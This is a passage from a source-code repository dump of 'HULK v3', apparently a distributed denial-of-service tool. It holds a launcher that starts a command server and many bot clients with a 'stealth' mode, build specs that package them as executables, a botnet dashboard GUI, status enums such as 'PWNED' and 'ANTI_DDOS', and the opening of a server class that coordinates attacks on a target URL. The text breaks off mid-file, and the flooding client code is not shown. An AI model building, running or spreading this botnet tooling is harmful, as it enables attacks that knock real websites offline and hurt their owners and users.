36 | ) 37 | } 38 | -------------------------------------------------------------------------------- /gui/renderer/public/Hulk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hyperclaw79/HULK-v3/67745c1a2eecccbc19663f2938d8132e056ea240/gui/renderer/public/Hulk.png -------------------------------------------------------------------------------- /gui/renderer/public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hyperclaw79/HULK-v3/67745c1a2eecccbc19663f2938d8132e056ea240/gui/renderer/public/favicon.ico -------------------------------------------------------------------------------- /gui/renderer/public/robots/0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hyperclaw79/HULK-v3/67745c1a2eecccbc19663f2938d8132e056ea240/gui/renderer/public/robots/0.png -------------------------------------------------------------------------------- /gui/renderer/public/robots/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hyperclaw79/HULK-v3/67745c1a2eecccbc19663f2938d8132e056ea240/gui/renderer/public/robots/1.png -------------------------------------------------------------------------------- /gui/renderer/public/robots/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hyperclaw79/HULK-v3/67745c1a2eecccbc19663f2938d8132e056ea240/gui/renderer/public/robots/2.png -------------------------------------------------------------------------------- /gui/renderer/public/robots/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hyperclaw79/HULK-v3/67745c1a2eecccbc19663f2938d8132e056ea240/gui/renderer/public/robots/3.png -------------------------------------------------------------------------------- /gui/renderer/public/robots/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hyperclaw79/HULK-v3/67745c1a2eecccbc19663f2938d8132e056ea240/gui/renderer/public/robots/4.png -------------------------------------------------------------------------------- /gui/renderer/public/robots/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hyperclaw79/HULK-v3/67745c1a2eecccbc19663f2938d8132e056ea240/gui/renderer/public/robots/5.png -------------------------------------------------------------------------------- /gui/renderer/public/robots/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hyperclaw79/HULK-v3/67745c1a2eecccbc19663f2938d8132e056ea240/gui/renderer/public/robots/6.png -------------------------------------------------------------------------------- /gui/renderer/public/robots/7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hyperclaw79/HULK-v3/67745c1a2eecccbc19663f2938d8132e056ea240/gui/renderer/public/robots/7.png -------------------------------------------------------------------------------- /gui/renderer/public/robots/8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hyperclaw79/HULK-v3/67745c1a2eecccbc19663f2938d8132e056ea240/gui/renderer/public/robots/8.png -------------------------------------------------------------------------------- /gui/renderer/styles/globals.css: -------------------------------------------------------------------------------- 1 | html, 2 | body { 3 | padding: 0; 4 | margin: 0; 5 | font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Oxygen, 6 | Ubuntu, Cantarell, Fira Sans, Droid Sans, Helvetica Neue, sans-serif; 7 | color: white; 8 | font-weight: bold; 9 | background: #1a1a1a; 10 | } 11 | 12 | a { 13 | color: inherit; 14 | text-decoration: none; 15 | } 16 | 17 | * { 18 | box-sizing: border-box; 19 | } 20 | 21 | header { 22 | display: flex; 23 | justify-content: center; 24 | align-items: center; 25 | margin-top: 2rem; 26 | gap: 1vw; 27 | } 28 | 29 | .botnet { 30 | display: flex; 31 | flex-direction: column; 32 | align-items: center; 33 | justify-content: center; 34 | gap: 2rem; 35 | } 36 | 37 | .targetContainer { 38 | margin-top: 2rem; 39 | padding: 1.5rem; 40 | font-size: 1.5rem; 41 | background-color: rgb(27, 25, 25); 42 | filter: drop-shadow(3px 3px 5px rgba(0, 0, 0, 0.5)); 43 | } 44 | 45 | .targetUrl>span { 46 | color: skyblue; 47 | } 48 | 49 | .targetStatus { 50 | display: flex; 51 | margin-top: 1rem; 52 | } 53 | 54 | .targetStatus .statusWrapper { 55 | margin-left: auto; 56 | margin-right: auto; 57 | padding: 0.75rem; 58 | padding-top: 0.5rem; 59 | padding-bottom: 0.5rem; 60 | backdrop-filter: contrast(0.85); 61 | } 62 | 63 | .botlist { 64 | display: flex; 65 | flex-direction: row; 66 | flex-wrap: wrap; 67 | width: 100%; 68 | height: 100%; 69 | margin-left: auto; 70 | margin-right: auto; 71 | justify-content: center; 72 | align-items: center; 73 | } 74 | 75 | .bot { 76 | position: relative; 77 | display: flex; 78 | width: 30vw; 79 | height: 15vw; 80 | margin: 1rem; 81 | padding-left: 1vw; 82 | padding-right: 1vw; 83 | background-color: rgb(27, 25, 25); 84 | filter: drop-shadow(3px 3px 5px rgba(0, 0, 0, 0.5)); 85 | } 86 | 87 | .bot>div { 88 | position: relative; 89 | } 90 | 91 | .bot div.right { 92 | display: flex; 93 | flex-direction: column; 94 | justify-content: space-evenly; 95 | } 96 | 97 | .bot div.right>div.keys { 98 | align-items: flex-end; 99 | } 100 | 101 | .bot div.rightTop { 102 | display: flex; 103 | justify-content: center; 104 | align-items: center; 105 | gap: 1em; 106 | } 107 | 108 | .bot div.rightTop>div { 109 | display: flex; 110 | flex-direction: column; 111 | justify-content: space-evenly; 112 | gap: 1rem; 113 | } 114 | 115 | .bot div.rightBottom { 116 | width: max-content; 117 | padding: 0.5rem; 118 | backdrop-filter: contrast(0.85); 119 | } 120 | 121 | .statusContainer { 122 | position: relative; 123 | display: flex; 124 | justify-content: center; 125 | align-items: center; 126 | gap: 1em; 127 | } -------------------------------------------------------------------------------- /gui/renderer/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "../tsconfig.json", 3 | "include": [ 4 | "next-env.d.ts", 5 | "**/*.ts", 6 | "**/*.tsx" 7 | ], 8 | "exclude": [ 9 | "node_modules" 10 | ] 11 | } 12 | -------------------------------------------------------------------------------- /gui/renderer/types/bridge.d.ts: -------------------------------------------------------------------------------- 1 | // Expose the Pipe Monitor as a bridge to Frontend 2 | export type electronAPI = { 3 | piper: { 4 | monitor: (callbacks: { [key: string]: CallableFunction }) => void; 5 | } 6 | reload: () => void; 7 | } 8 | 9 | // Parsed Message Data 10 | export type MessageData = { 11 | message: string, 12 | data: string, 13 | botIp: string, 14 | botPort: number 15 | }; 16 | 17 | // Expose the bridge to global window 18 | declare global { 19 | interface Window { 20 | electronAPI: electronAPI; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /gui/renderer/types/enums.d.ts: -------------------------------------------------------------------------------- 1 | /** 2 | * @readonly Client Commands 3 | * @enum {string} 4 | * @property {string} ERROR 5 | * @property {string} KILLED 6 | * @property {string} STANDBY 7 | * @property {string} SEND_TARGET 8 | * @property {string} READ_STATUS 9 | */ 10 | export enum ClientCommands { 11 | ERROR = 'ClientCommands.ERROR', 12 | KILLED = 'ClientCommands.KILLED', 13 | STANDBY = 'ClientCommands.STANDBY', 14 | SEND_TARGET = 'ClientCommands.SEND_TARGET', 15 | READ_STATUS = 'ClientCommands.READ_STATUS' 16 | } 17 | 18 | /** 19 | * @readonly Status Codes 20 | * @enum {string} 21 | * @property {string} CONNECTION_FAILURE 22 | * @property {string} NO_LUCK 23 | * @property {string} ANTI_DDOS 24 | * @property {string} FORBIDDEN 25 | * @property {string} NOT_FOUND 26 | * @property {string} PWNED 27 | */ 28 | export enum StatusCodes { 29 | CONNECTION_FAILURE = 'StatusCodes.CONNECTION_FAILURE', 30 | NO_LUCK = 'StatusCodes.NO_LUCK', 31 | ANTI_DDOS = 'StatusCodes.ANTI_DDOS', 32 | FORBIDDEN = 'StatusCodes.FORBIDDEN', 33 | NOT_FOUND = 'StatusCodes.NOT_FOUND', 34 | PWNED = 'StatusCodes.PWNED' 35 | } 36 | 37 | /** 38 | * @readonly Messages 39 | * @enum {string} 40 | * @property {string} DATA 41 | * @property {string} STATUS 42 | * @property {string} TARGET 43 | * @property {string} COMMAND 44 | * @property {string} ERROR 45 | */ 46 | export enum Messages { 47 | DATA = 'Data', 48 | STATUS = 'Status', 49 | TARGET = 'Target', 50 | COMMAND = 'Command', 51 | ERROR = 'Error' 52 | } 53 | 54 | /** 55 | * @readonly Error Messages 56 | * @enum {string} 57 | * @property {string} CONNECTION_ABORTED 58 | * @property {string} CONNECTION_REFUSED 59 | * @property {string} CONNECTION_RESET 60 | */ 61 | export enum ErrorMessage { 62 | CONNECTION_ABORTED = 'ErrorMessages.CONNECTION_ABORTED', 63 | CONNECTION_REFUSED = 'ErrorMessages.CONNECTION_REFUSED', 64 | CONNECTION_RESET = 'ErrorMessages.CONNECTION_RESET' 65 | } 66 | -------------------------------------------------------------------------------- /gui/renderer/types/props.d.ts: -------------------------------------------------------------------------------- 1 | import { StatusCodes } from "./enums"; 2 | 3 | /** 4 | * @interface TargetProps 5 | * @property {string} url 6 | * @property {StatusCodes} status 7 | */ 8 | export interface TargetProps { 9 | url: string; 10 | status: StatusCodes; 11 | } 12 | 13 | /** 14 | * @interface BotProps 15 | * @property {string} ip 16 | * @property {number} port 17 | * @property {string} [avatar] 18 | * @property {string} status 19 | * @property {StatusCodes} [targetStatus] 20 | */ 21 | export interface BotProps { 22 | ip: string; 23 | port: number; 24 | avatar?: string; 25 | status: string; 26 | targetStatus?: StatusCodes; 27 | } 28 | 29 | /** 30 | * @interface BotnetProps 31 | * @property {TargetProps} target 32 | * @property {BotProps[]} botList 33 | */ 34 | export interface BotnetProps { 35 | target: TargetProps, 36 | botList: BotProps[]; 37 | } 38 | -------------------------------------------------------------------------------- /gui/resources/Hulk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hyperclaw79/HULK-v3/67745c1a2eecccbc19663f2938d8132e056ea240/gui/resources/Hulk.png -------------------------------------------------------------------------------- /gui/resources/icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hyperclaw79/HULK-v3/67745c1a2eecccbc19663f2938d8132e056ea240/gui/resources/icon.ico -------------------------------------------------------------------------------- /gui/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "ES6", 4 | "lib": [ 5 | "dom", 6 | "dom.iterable", 7 | "esnext" 8 | ], 9 | "allowJs": true, 10 | "skipLibCheck": true, 11 | "strict": false, 12 | "forceConsistentCasingInFileNames": true, 13 | "noEmit": true, 14 | "incremental": true, 15 | "esModuleInterop": true, 16 | "module": "esnext", 17 | "moduleResolution": "node", 18 | "resolveJsonModule": true, 19 | "isolatedModules": true, 20 | "jsx": "preserve", 21 | "typeRoots": [ 22 | "node_modules/@types", 23 | "./types", 24 | "./main/types", 25 | "./renderer/types" 26 | ] 27 | }, 28 | "exclude": [ 29 | "node_modules", 30 | "renderer/next.config.js", 31 | "app", 32 | "dist" 33 | ] 34 | } 35 | -------------------------------------------------------------------------------- /gui/types/bridge.d.ts: -------------------------------------------------------------------------------- 1 | // Expose the Pipe Monitor as a bridge to Frontend 2 | export type electronAPI = { 3 | piper: { 4 | monitor: (callbacks: { [key: string]: CallableFunction }) => void; 5 | } 6 | reload: () => void; 7 | } 8 | 9 | // Parsed Message Data 10 | export type MessageData = { 11 | message: string, 12 | data: string, 13 | botIp: string, 14 | botPort: number 15 | }; 16 | 17 | // Expose the bridge to global window 18 | declare global { 19 | interface Window { 20 | electronAPI: electronAPI; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /gui/types/enums.d.ts: -------------------------------------------------------------------------------- 1 | /** 2 | * @readonly Client Commands 3 | * @enum {string} 4 | * @property {string} ERROR 5 | * @property {string} KILLED 6 | * @property {string} STANDBY 7 | * @property {string} SEND_TARGET 8 | * @property {string} READ_STATUS 9 | */ 10 | export enum ClientCommands { 11 | ERROR = 'ClientCommands.ERROR', 12 | KILLED = 'ClientCommands.KILLED', 13 | STANDBY = 'ClientCommands.STANDBY', 14 | SEND_TARGET = 'ClientCommands.SEND_TARGET', 15 | READ_STATUS = 'ClientCommands.READ_STATUS' 16 | } 17 | 18 | /** 19 | * @readonly Status Codes 20 | * @enum {string} 21 | * @property {string} CONNECTION_FAILURE 22 | * @property {string} NO_LUCK 23 | * @property {string} ANTI_DDOS 24 | * @property {string} FORBIDDEN 25 | * @property {string} NOT_FOUND 26 | * @property {string} PWNED 27 | */ 28 | export enum StatusCodes { 29 | CONNECTION_FAILURE = 'StatusCodes.CONNECTION_FAILURE', 30 | NO_LUCK = 'StatusCodes.NO_LUCK', 31 | ANTI_DDOS = 'StatusCodes.ANTI_DDOS', 32 | FORBIDDEN = 'StatusCodes.FORBIDDEN', 33 | NOT_FOUND = 'StatusCodes.NOT_FOUND', 34 | PWNED = 'StatusCodes.PWNED' 35 | } 36 | 37 | /** 38 | * @readonly Messages 39 | * @enum {string} 40 | * @property {string} DATA 41 | * @property {string} STATUS 42 | * @property {string} TARGET 43 | * @property {string} COMMAND 44 | * @property {string} ERROR 45 | */ 46 | export enum Messages { 47 | DATA = 'Data', 48 | STATUS = 'Status', 49 | TARGET = 'Target', 50 | COMMAND = 'Command', 51 | ERROR = 'Error' 52 | } 53 | 54 | /** 55 | * @readonly Error Messages 56 | * @enum {string} 57 | * @property {string} CONNECTION_ABORTED 58 | * @property {string} CONNECTION_REFUSED 59 | * @property {string} CONNECTION_RESET 60 | */ 61 | export enum ErrorMessage { 62 | CONNECTION_ABORTED = 'ErrorMessages.CONNECTION_ABORTED', 63 | CONNECTION_REFUSED = 'ErrorMessages.CONNECTION_REFUSED', 64 | CONNECTION_RESET = 'ErrorMessages.CONNECTION_RESET' 65 | } 66 | -------------------------------------------------------------------------------- /gui/types/props.d.ts: -------------------------------------------------------------------------------- 1 | import { StatusCodes } from "./enums"; 2 | 3 | /** 4 | * @interface TargetProps 5 | * @property {string} url 6 | * @property {StatusCodes} status 7 | */ 8 | export interface TargetProps { 9 | url: string; 10 | status: StatusCodes; 11 | } 12 | 13 | /** 14 | * @interface BotProps 15 | * @property {string} ip 16 | * @property {number} port 17 | * @property {string} [avatar] 18 | * @property {string} status 19 | * @property {StatusCodes} [targetStatus] 20 | */ 21 | export interface BotProps { 22 | ip: string; 23 | port: number; 24 | avatar?: string; 25 | status: string; 26 | targetStatus?: StatusCodes; 27 | } 28 | 29 | /** 30 | * @interface BotnetProps 31 | * @property {TargetProps} target 32 | * @property {BotProps[]} botList 33 | */ 34 | export interface BotnetProps { 35 | target: TargetProps, 36 | botList: BotProps[]; 37 | } 38 | -------------------------------------------------------------------------------- /hulk_launcher.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | Hulk v3 5 | 6 | Script to launch multiple instances of Hulk. 7 | """ 8 | 9 | import argparse 10 | from copy import copy 11 | import logging 12 | import os 13 | import platform 14 | import sys 15 | from typing import Tuple 16 | 17 | from utils import bordered 18 | 19 | 20 | LOGGER = logging.getLogger("Hulk_Launcher") 21 | LOGGER.setLevel(logging.INFO) 22 | LOGGER.addHandler(logging.StreamHandler(sys.stdout)) 23 | 24 | 25 | def get_live_message(title: str, args: argparse.Namespace): 26 | """Get a visually appealing status message. 27 | 28 | :param title: The title. 29 | :type title: str 30 | :param args: The arguments. 31 | :type args: argparse.Namespace 32 | :return: The live message. 33 | :rtype: str 34 | """ 35 | # pylint: disable=import-outside-toplevel 36 | import chalk 37 | 38 | title_msg = chalk.green(title) 39 | arg_msg = '\n'.join( 40 | f'{name.title()}: {chalk.blue(value)}' 41 | for name, value in vars(args).items() 42 | ) 43 | message = f'{title_msg}\n{arg_msg}' 44 | return bordered(message, num_internal_colors=1) 45 | 46 | 47 | def launch_server(args: argparse.Namespace): 48 | """ 49 | Launch the Hulk server. 50 | :param args: The arguments. 51 | :type args: argparse.Namespace 52 | """ 53 | # pylint: disable=import-outside-toplevel, duplicate-code 54 | from server.hulk_server import HulkServer 55 | 56 | msg_args = copy(args) 57 | msg_args.__dict__.pop('target') 58 | LOGGER.info(get_live_message("Hulk Server is Live!", msg_args)) 59 | if args.gui: 60 | if platform.system() == 'Windows': 61 | from server.logger import WinNamedPipeHandler, UnixNamedPipeHandler 62 | 63 | logging.getLogger('Hulk_Server').addHandler( 64 | WinNamedPipeHandler(wait_for_pipe=True) 65 | ) 66 | else: 67 | from server.logger import UnixNamedPipeHandler 68 | 69 | logging.getLogger('Hulk_Server').addHandler( 70 | UnixNamedPipeHandler(wait_for_pipe=True) 71 | ) 72 | server = HulkServer( 73 | args.target, args.port, 74 | args.persistent, 75 | args.max_missiles 76 | ) 77 | server.launch() 78 | 79 | 80 | def launch_client(args: argparse.Namespace): 81 | """ 82 | Launches the Hulk client. 83 | :param args: The arguments. 84 | :type args: argparse.Namespace 85 | """ 86 | # pylint: disable=import-outside-toplevel 87 | import asyncio 88 | from threading import Thread 89 | 90 | from client.hulk import Comms 91 | 92 | if platform.system() == 'Windows': 93 | asyncio.set_event_loop_policy( 94 | asyncio.WindowsSelectorEventLoopPolicy() 95 | ) 96 | 97 | # Parse the arguments. 98 | root_ip = args.root_ip 99 | root_port = args.root_port 100 | num_processes = args.num_processes 101 | if args.stealth: 102 | logging.getLogger('Hulk_Client').setLevel(logging.ERROR) 103 | LOGGER.info(get_live_message("Launching Hulk v3", args)) 104 | 105 | threads = [ 106 | Thread( 107 | target=lambda: asyncio.new_event_loop().run_until_complete( 108 | Comms(root_ip, root_port).monitor() 109 | ), 110 | ) for _ in range(num_processes) 111 | ] 112 | for thread in threads: 113 | thread.start() 114 | for thread in threads: 115 | thread.join() 116 | 117 | 118 | def create_parser() -> Tuple[ 119 | argparse.ArgumentParser, 120 | argparse._SubParsersAction 121 | ]: 122 | """ 123 | Creates the Multicommand Argument Parser. 124 | :return: The Multicommand Argument Parser and Subparsers. 125 | :rtype: Tuple[argparse.ArgumentParser, argparse.ArgumentParser] 126 | """ 127 | 128 | class CustomParser(argparse.ArgumentParser): 129 | """ 130 | Custom parser to format error string. 131 | """ 132 | def error(self, message): 133 | if "{Client / Server}" in message: 134 | LOGGER.info( 135 | "Either 'client' or 'server' must be specified " 136 | "as the first argument." 137 | ) 138 | sys.exit(1) 139 | super().error(message) 140 | 141 | class CustomFormatter(argparse.ArgumentDefaultsHelpFormatter): 142 | """ 143 | Custom formatter for the help text. 144 | """ 145 | def _get_help_string(self, action): 146 | help_text = super()._get_help_string(action) 147 | if action.dest == 'num_processes': 148 | return help_text.replace( 149 | '(default: %(default)s)', 150 | '(default: No. of Cores. [%(default)s])' 151 | ) 152 | return help_text 153 | 154 | parser = CustomParser( 155 | description="Hulk Launcher", 156 | formatter_class=CustomFormatter 157 | ) 158 | subparsers = parser.add_subparsers( 159 | dest="mode", 160 | required=True, 161 | metavar="{Client / Server}", 162 | ) 163 | return parser, subparsers 164 | 165 | 166 | def add_client_parser(subparsers: argparse._SubParsersAction): 167 | """ 168 | Adds the Client Parser. 169 | :param subparsers: The Subparsers. 170 | :type subparsers: argparse._SubParsersAction 171 | """ 172 | # pylint: disable=import-outside-toplevel 173 | from client.hulk import modify_parser 174 | 175 | client_parser = subparsers.add_parser( 176 | "client", 177 | description="The Hulk Bot Launcher", 178 | help="Launches multiple Hulk Clients.\n" 179 | "(Check out [hulk_launcher.py client -h])" 180 | ) 181 | modify_parser(client_parser) 182 | client_parser.add_argument( 183 | '-n', '--num_processes', 184 | help='Number of processes to launch.', 185 | default=os.cpu_count(), 186 | type=int, 187 | ) 188 | 189 | 190 | def add_server_parser(subparsers: argparse._SubParsersAction): 191 | """ 192 | Adds the Server Parser. 193 | :param subparsers: The Subparsers. 194 | :type subparsers: argparse._SubParsersAction 195 | """ 196 | # pylint: disable=import-outside-toplevel 197 | from server.hulk_server import modify_parser 198 | 199 | server_parser = subparsers.add_parser( 200 | "server", 201 | description="The Hulk Server Launcher", 202 | help="Launches the Hulk Server.\n" 203 | "(Check out [hulk_launcher.py server -h])" 204 | ) 205 | modify_parser(server_parser) 206 | 207 | 208 | if __name__ == '__main__': 209 | created_parser, created_subparsers = create_parser() 210 | add_client_parser(created_subparsers) 211 | add_server_parser(created_subparsers) 212 | 213 | parsed_args = created_parser.parse_args() 214 | launchables = { 215 | 'server': launch_server, 216 | 'client': launch_client 217 | } 218 | launchables[parsed_args.mode](parsed_args) 219 | -------------------------------------------------------------------------------- /hulk_linux.spec: -------------------------------------------------------------------------------- 1 | # -*- mode: python ; coding: utf-8 -*- 2 | import PyInstaller.config 3 | import platform 4 | PyInstaller.config.CONF['distpath'] = f"./dist/{platform.system().lower()}" 5 | 6 | block_cipher = None 7 | 8 | 9 | server = Analysis( 10 | ['server/hulk_server.py'], 11 | pathex=['server'], 12 | binaries=[], 13 | datas=[], 14 | hiddenimports=[], 15 | hookspath=[], 16 | runtime_hooks=[], 17 | excludes=[], 18 | win_no_prefer_redirects=False, 19 | win_private_assemblies=False, 20 | cipher=block_cipher, 21 | noarchive=False 22 | ) 23 | 24 | server_pyz = PYZ(server.pure, server.zipped_data, cipher=block_cipher) 25 | 26 | server_exe = EXE( 27 | server_pyz, 28 | server.scripts, 29 | server.binaries, 30 | server.zipfiles, 31 | server.datas, 32 | [], 33 | name='hulk_server', 34 | debug=False, 35 | bootloader_ignore_signals=False, 36 | strip=False, 37 | upx=True, 38 | upx_exclude=[], 39 | runtime_tmpdir=None, 40 | console=True 41 | ) 42 | 43 | 44 | client = Analysis( 45 | ['client/hulk.py'], 46 | pathex=['client'], 47 | binaries=[], 48 | datas=[], 49 | hiddenimports=[], 50 | hookspath=[], 51 | runtime_hooks=[], 52 | excludes=[], 53 | win_no_prefer_redirects=False, 54 | win_private_assemblies=False, 55 | cipher=block_cipher, 56 | noarchive=False 57 | ) 58 | 59 | client_pyz = PYZ(client.pure, client.zipped_data, cipher=block_cipher) 60 | 61 | client_exe = EXE( 62 | client_pyz, 63 | client.scripts, 64 | client.binaries, 65 | client.zipfiles, 66 | client.datas, 67 | [], 68 | name='hulk_client', 69 | debug=False, 70 | bootloader_ignore_signals=False, 71 | strip=False, 72 | upx=True, 73 | upx_exclude=[], 74 | runtime_tmpdir=None, 75 | console=True 76 | ) 77 | 78 | 79 | launcher = Analysis( 80 | ['hulk_launcher.py'], 81 | pathex=['server,client'], 82 | binaries=[], 83 | datas=[], 84 | hiddenimports=[], 85 | hookspath=[], 86 | runtime_hooks=[], 87 | excludes=[], 88 | win_no_prefer_redirects=False, 89 | win_private_assemblies=False, 90 | cipher=block_cipher, 91 | noarchive=False 92 | ) 93 | 94 | launcher_pyz = PYZ(launcher.pure, launcher.zipped_data, cipher=block_cipher) 95 | 96 | launcher_exe = EXE( 97 | launcher_pyz, 98 | launcher.scripts, 99 | launcher.binaries, 100 | launcher.zipfiles, 101 | launcher.datas, 102 | [], 103 | name='hulk_launcher', 104 | debug=False, 105 | bootloader_ignore_signals=False, 106 | strip=False, 107 | upx=True, 108 | upx_exclude=[], 109 | runtime_tmpdir=None, 110 | console=True 111 | ) 112 | -------------------------------------------------------------------------------- /hulk_win.spec: -------------------------------------------------------------------------------- 1 | # -*- mode: python ; coding: utf-8 -*- 2 | import PyInstaller.config 3 | import platform 4 | PyInstaller.config.CONF['distpath'] = f"./dist/{platform.system().lower()}" 5 | 6 | block_cipher = None 7 | 8 | 9 | client = Analysis( 10 | ['client/hulk.py'], 11 | pathex=['client'], 12 | binaries=[], 13 | datas=[], 14 | hiddenimports=[], 15 | hookspath=[], 16 | hooksconfig={}, 17 | runtime_hooks=[], 18 | excludes=[], 19 | win_no_prefer_redirects=False, 20 | win_private_assemblies=False, 21 | cipher=block_cipher, 22 | noarchive=False, 23 | ) 24 | 25 | client_pyz = PYZ(client.pure, client.zipped_data, cipher=block_cipher) 26 | 27 | client_exe = EXE( 28 | client_pyz, 29 | client.scripts, 30 | client.binaries, 31 | client.zipfiles, 32 | client.datas, 33 | [], 34 | name='hulk_client', 35 | debug=False, 36 | bootloader_ignore_signals=False, 37 | strip=False, 38 | upx=False, 39 | upx_exclude=[], 40 | runtime_tmpdir=None, 41 | console=True, 42 | disable_windowed_traceback=False, 43 | argv_emulation=False, 44 | target_arch=None, 45 | codesign_identity=None, 46 | entitlements_file=None, 47 | ) 48 | 49 | 50 | server = Analysis( 51 | ['server/hulk_server.py'], 52 | pathex=['server'], 53 | binaries=[], 54 | datas=[], 55 | hiddenimports=[], 56 | hookspath=[], 57 | hooksconfig={}, 58 | runtime_hooks=[], 59 | excludes=[], 60 | win_no_prefer_redirects=False, 61 | win_private_assemblies=False, 62 | cipher=block_cipher, 63 | noarchive=False, 64 | ) 65 | 66 | server_pyz = PYZ(server.pure, server.zipped_data, cipher=block_cipher) 67 | 68 | server_exe = EXE( 69 | server_pyz, 70 | server.scripts, 71 | server.binaries, 72 | server.zipfiles, 73 | server.datas, 74 | [], 75 | name='hulk_server', 76 | debug=False, 77 | bootloader_ignore_signals=False, 78 | strip=False, 79 | upx=False, 80 | upx_exclude=[], 81 | runtime_tmpdir=None, 82 | console=True, 83 | disable_windowed_traceback=False, 84 | argv_emulation=False, 85 | target_arch=None, 86 | codesign_identity=None, 87 | entitlements_file=None, 88 | ) 89 | 90 | 91 | launcher = Analysis( 92 | ['hulk_launcher.py'], 93 | pathex=['server,client'], 94 | binaries=[], 95 | datas=[], 96 | hiddenimports=[], 97 | hookspath=[], 98 | hooksconfig={}, 99 | runtime_hooks=[], 100 | excludes=[], 101 | win_no_prefer_redirects=False, 102 | win_private_assemblies=False, 103 | cipher=block_cipher, 104 | noarchive=False, 105 | ) 106 | 107 | launcher_pyz = PYZ(launcher.pure, launcher.zipped_data, cipher=block_cipher) 108 | 109 | launcher_exe = EXE( 110 | launcher_pyz, 111 | launcher.scripts, 112 | launcher.binaries, 113 | launcher.zipfiles, 114 | launcher.datas, 115 | [], 116 | name='hulk_launcher', 117 | debug=False, 118 | bootloader_ignore_signals=False, 119 | strip=False, 120 | upx=False, 121 | upx_exclude=[], 122 | runtime_tmpdir=None, 123 | console=True, 124 | disable_windowed_traceback=False, 125 | argv_emulation=False, 126 | target_arch=None, 127 | codesign_identity=None, 128 | entitlements_file=None, 129 | ) -------------------------------------------------------------------------------- /requirements_linux.txt: -------------------------------------------------------------------------------- 1 | aiohttp>=3.8.3 2 | brotlipy>=0.7.0 3 | pychalk==2.0.1 4 | pycodestyle==2.8.0 5 | pylint==2.14.4 -------------------------------------------------------------------------------- /requirements_win.txt: -------------------------------------------------------------------------------- 1 | aiohttp>=3.8.3 2 | brotlipy>=0.7.0 3 | pychalk==2.0.1 4 | pycodestyle==2.8.0 5 | pylint==2.14.4 6 | pywin32 -------------------------------------------------------------------------------- /server/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | HULK v3 3 | """ 4 | -------------------------------------------------------------------------------- /server/enums.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | Hulk v3 5 | 6 | This module contains the Enums used in Hulk. 7 | """ 8 | 9 | # pylint: disable=duplicate-code 10 | from enum import IntEnum 11 | 12 | 13 | class ServerCommands(IntEnum): 14 | """ 15 | The different commands sent by Hulk Server. 16 | """ 17 | #: Kill the Bot. 18 | TERMINATE = -1 19 | #: Stop the attack and go to standby. 20 | STOP = 0 21 | #: Please perform a read to get the target address. 22 | READ_TARGET = 1 23 | 24 | 25 | class ClientCommands(IntEnum): 26 | """ 27 | The different commands sent by Hulk Client. 28 | """ 29 | #: Something went wrong. 30 | ERROR = -2 31 | #: Bot Terminated. 32 | KILLED = -1 33 | #: Stopped previous attack, on standby. 34 | STANDBY = 0 35 | #: Send me the target address. 36 | SEND_TARGET = 1 37 | #: Please perform a read to get the status. 38 | READ_STATUS = 2 39 | 40 | 41 | class StatusCodes(IntEnum): 42 | """ 43 | The different HTTP error codes. 44 | """ 45 | CONNECTION_FAILURE = 69 46 | NO_LUCK = 200 47 | ANTI_DDOS = 400 48 | FORBIDDEN = 403 49 | NOT_FOUND = 404 50 | PWNED = 500 51 | 52 | 53 | class ErrorMessages(IntEnum): 54 | """ 55 | Error messages during server-client communication. 56 | """ 57 | CONNECTION_ABORTED = 1 58 | CONNECTION_REFUSED = 2 59 | CONNECTION_RESET = 3 60 | -------------------------------------------------------------------------------- /server/hulk_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | Hulk v3 5 | 6 | The Hulk server which is used to perform DDoS attacks via coordinated attacks. 7 | Hulk Clients/Bots can connect to the Hulk Server to receive the instructions. 8 | """ 9 | 10 | 11 | import argparse 12 | import platform 13 | import queue 14 | import re 15 | import select 16 | import socket 17 | from typing import Dict, List, Optional, Tuple 18 | from urllib.parse import urlparse 19 | 20 | try: # When running directly. 21 | from enums import ( 22 | ServerCommands, ClientCommands, 23 | StatusCodes, ErrorMessages 24 | ) 25 | from logger import ( 26 | LOGGER, WinNamedPipeHandler, 27 | UnixNamedPipeHandler 28 | ) 29 | except ImportError: # When imported into launcher. 30 | from server.enums import ( 31 | ServerCommands, ClientCommands, 32 | StatusCodes, ErrorMessages 33 | ) 34 | from server.logger import ( 35 | LOGGER, WinNamedPipeHandler, 36 | UnixNamedPipeHandler 37 | ) 38 | 39 | 40 | # pylint: disable=too-many-instance-attributes, too-few-public-methods 41 | class HulkServer: 42 | """ 43 | The Hulk Server. 44 | 45 | :param target: The target URL to attack. 46 | :type target: str 47 | :param port: The port to connect to. 48 | :type port: Optional[int] 49 | :param persistent: Whether or not to keep attacking the target. 50 | :type persistent: Optional[bool] 51 | :param max_missiles: The maximum number of missiles to attack the target. 52 | :type max_missiles: Optional[int] 53 | """ 54 | def __init__( 55 | self, target: str, 56 | port: Optional[int] = 6666, 57 | persistent: Optional[bool] = False, 58 | max_missiles: Optional[int] = 100 59 | ): 60 | if re.search(r'http[s]?\://([^/]*)/?.*', target): 61 | self.target = target 62 | else: 63 | raise ValueError("Invalid URL.") 64 | self.port: int = port 65 | self.persistent: bool = persistent 66 | self.max_missiles: int = max_missiles 67 | self.server: socket.socket = self._get_socket() 68 | self.inputs: List[socket.socket] = [self.server] 69 | self.outputs: 